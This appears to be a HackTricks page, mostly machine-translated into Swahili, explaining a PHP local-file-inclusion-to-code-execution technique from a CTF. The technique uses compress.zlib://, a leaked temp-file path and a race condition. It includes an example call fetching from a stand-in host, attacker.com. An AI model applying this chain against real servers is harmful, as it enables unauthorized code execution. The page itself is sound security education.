LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

compress.zlib:// na PHP_STREAM_PREFER_STDIO

Fail iliyofunguliwa kwa kutumia protokali compress.zlib:// na bendera PHP_STREAM_PREFER_STDIO inaweza kuendelea kuandika data inayofika kwenye muunganisho baadaye kwenye faili hiyo hiyo.

Hii inamaanisha kwamba wito kama:

file_get_contents("compress.zlib://http://attacker.com/file")

Nitapeleka ombi linaloomba http://attacker.com/file, kisha seva inaweza kujibu ombi hilo kwa jibu halali la HTTP, kuendelea na muunganisho, na kutuma data za ziada baadaye ambazo pia zitaandikwa kwenye faili.

Unaweza kuona habari hiyo katika sehemu hii ya msimbo wa php-src katika main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

Hii CTF ilitatuliwa kwa kutumia hila ya awali.

Mshambuliaji atafanya server ya mwathirika kufungua muunganisho ukisoma faili kutoka kwa server ya mshambuliaji kwa kutumia compress.zlib itifaki.

Wakati muunganisho huu upo, mshambuliaji atafanya kuondoa njia ya faili ya muda iliyoundwa (imevuja na server).

Wakati muunganisho bado uko wazi, mshambuliaji atafanya kudhulumu LFI akipakia faili ya muda ambayo anadhibiti.

Hata hivyo, kuna ukaguzi katika server ya wavuti ambao unazuia kupakia faili zinazokuwa na <?. Kwa hivyo, mshambuliaji atatumia Race Condition. Katika muunganisho ambao bado uko wazi, mshambuliaji atatuma PHP payload BAADA YA webserver kuangalia ikiwa faili ina wahusika waliokatazwa lakini KABLA ya kupakia maudhui yake.

Kwa maelezo zaidi angalia maelezo ya Race Condition na CTF katika https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.